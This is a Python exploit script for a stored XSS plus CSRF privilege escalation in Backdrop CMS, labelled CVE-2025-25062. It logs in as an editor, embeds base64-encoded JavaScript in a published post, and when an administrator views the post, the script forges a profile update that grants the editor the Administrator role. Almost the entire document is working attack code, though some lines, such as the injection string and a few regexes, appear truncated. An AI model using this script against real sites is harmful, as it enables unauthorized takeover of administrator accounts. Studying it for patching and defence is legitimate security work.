""" Exploit Title: Privilege Escalation via Stored XSS + CSRF in Backdrop CMS Date: 2024-12-14 Author: Reid Hurlburt (rhburt) Software Link: https://github.com/backdrop/backdrop/releases/tag/1.29.2 Tested on: Python 3.11.9 CVE: CVE-2025-25062 """ import argparse import requests import re import uuid import base64 from datetime import datetime import urllib.parse SESSION = requests.session() def construct_payload(post_html_body, editor_user_id, editor_username, editor_email): url_encoded_editor_email = urllib.parse.quote_plus(editor_email) malicious_js = f""" var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('get', '/?q=user/{editor_user_id}/edit&destination=admin/people/list', true); req.withCredentials = true; req.send(); function handleResponse() {{ var build_id = this.responseText.match(/name="form_build_id" value="(form-[^"]*)"/)[1]; var token = this.responseText.match(/name="form_token" value="([^"]*)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/?q=user/{editor_user_id}/edit', true); changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') changeReq.withCredentials = true; changeReq.send('name={editor_username}&mail={url_encoded_editor_email}&pass=&form_build_id=' + build_id + '&form_token=' + token + '&form_id=user_profile_form&status=1&roles%5Beditor%5D=editor&roles%5Badministrator%5D=administrator&timezone=America%2FNew_York&additional_settings__active_tab=&op=Save'); }}; """ b64_encoded = base64.b64encode(malicious_js.encode('ascii')).decode('ascii') injection = f"" return post_html_body + injection def create_post(backdrop_url, editor_username, title, html_body, proxies): response = SESSION.get( f"{backdrop_url}/?q=node/add/post", proxies=proxies, ) form_build_id = re.search(r'name="form_build_id" value="([^"]*)"', response.text).groups()[0] form_token = re.search(r'name="form_token" value="([^"]*)"', response.text).groups()[0] now = datetime.now() response = SESSION.post( f"{backdrop_url}/?q=node/add/post", files={ "title": (None, post_title), "field_tags[und]": (None, ""), "body[und][0][summary]": (None, ""), "body[und][0][value]": (None, html_body), "body[und][0][format]": (None, "filtered_html"), "files[field_image_und_0]": ("", "", "application/octet-stream"), "field_image[und][0][fid]": (None, "0"), "field_image[und][0][display]": (None, "1"), "changed": (None, ""), "form_build_id": (None, form_build_id), "form_token": (None, form_token), "form_id": (None, "post_node_form"), "status": (None, "1"), "scheduled[date]": (None, now.strftime("%Y-%m-%d")), "scheduled[time]": (None, now.strftime("%H:%M:%S")), "promote": (None, "1"), "name": (None, editor_username), "date[date]": (None, now.strftime("%Y-%m-%d")), "date[time]": (None, now.strftime("%H:%M:%S")), "additional_settings__active_tab": (None, ""), "op": (None, "Save"), }, allow_redirects=True, proxies=proxies, ) edit_url = backdrop_url + re.search(r'Edit', response.text).groups()[0] return edit_url def get_account_details(backdrop_url, proxies): response = SESSION.get( f"{backdrop_url}/?q=accounts/editor", proxies=proxies, ) editor_user_id = int(re.search(r'Edit', response.text).groups()[0]) response = SESSION.get( f"{backdrop_url}/?q=/user/{editor_user_id}/edit", proxies=proxies, ) editor_email = re.search(r'name="mail" value="([^"]*)"', response.text).groups()[0] return editor_user_id, editor_email def login(backdrop_url, editor_username, editor_password, proxies): response = SESSION.get( f"{backdrop_url}/?q=user/login", proxies=proxies, ) form_build_id = re.search(r'name="form_build_id" value="([^"]*)"', response.text).groups()[0] response = SESSION.post( f"{backdrop_url}/?q=user/login", data={ "name": editor_username, "pass": editor_password, "form_build_id": form_build_id, "form_id": "user_login", "op": "Log in" }, proxies=proxies, ) assert response.status_code == 200 if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-u", "--backdrop-url", required=False, default="http://localhost") parser.add_argument("--editor-username", required=True) parser.add_argument("--editor-password", required=True) parser.add_argument("--post-title", required=False) parser.add_argument("--post-html-body", required=False) parser.add_argument("--proxy-host", required=False) parser.add_argument("--proxy-port", required=False) args = parser.parse_args() if args.backdrop_url.endswith('/'): backdrop_url = args.backdrop_url[:-1] else: backdrop_url = args.backdrop_url if args.post_title is None: post_title = str(uuid.uuid4()) else: post_title = args.post_title if args.post_html_body is None: post_html_body = "" else: post_html_body = args.post_html_body if args.proxy_host is None or args.proxy_port is None: proxies = {} else: proxies = { "http": f"http://{args.proxy_host}:{args.proxy_port}", "https": f"https://{args.proxy_host}:{args.proxy_port}", } print(f"[*] Logging in...") login(backdrop_url, args.editor_username, args.editor_password, proxies) print(f"[*] Getting account details...") editor_user_id, editor_email = get_account_details(backdrop_url, proxies) print(f"[*] Creating post with title {post_title}...") edit_url = create_post( backdrop_url, args.editor_username, post_title, construct_payload(post_html_body, editor_user_id, args.editor_username, editor_email), proxies ) print(f"[*] Done!") print() print(f"[*] Once an Admin visits the following URL, you'll be granted the 'Administrator' role: {edit_url}")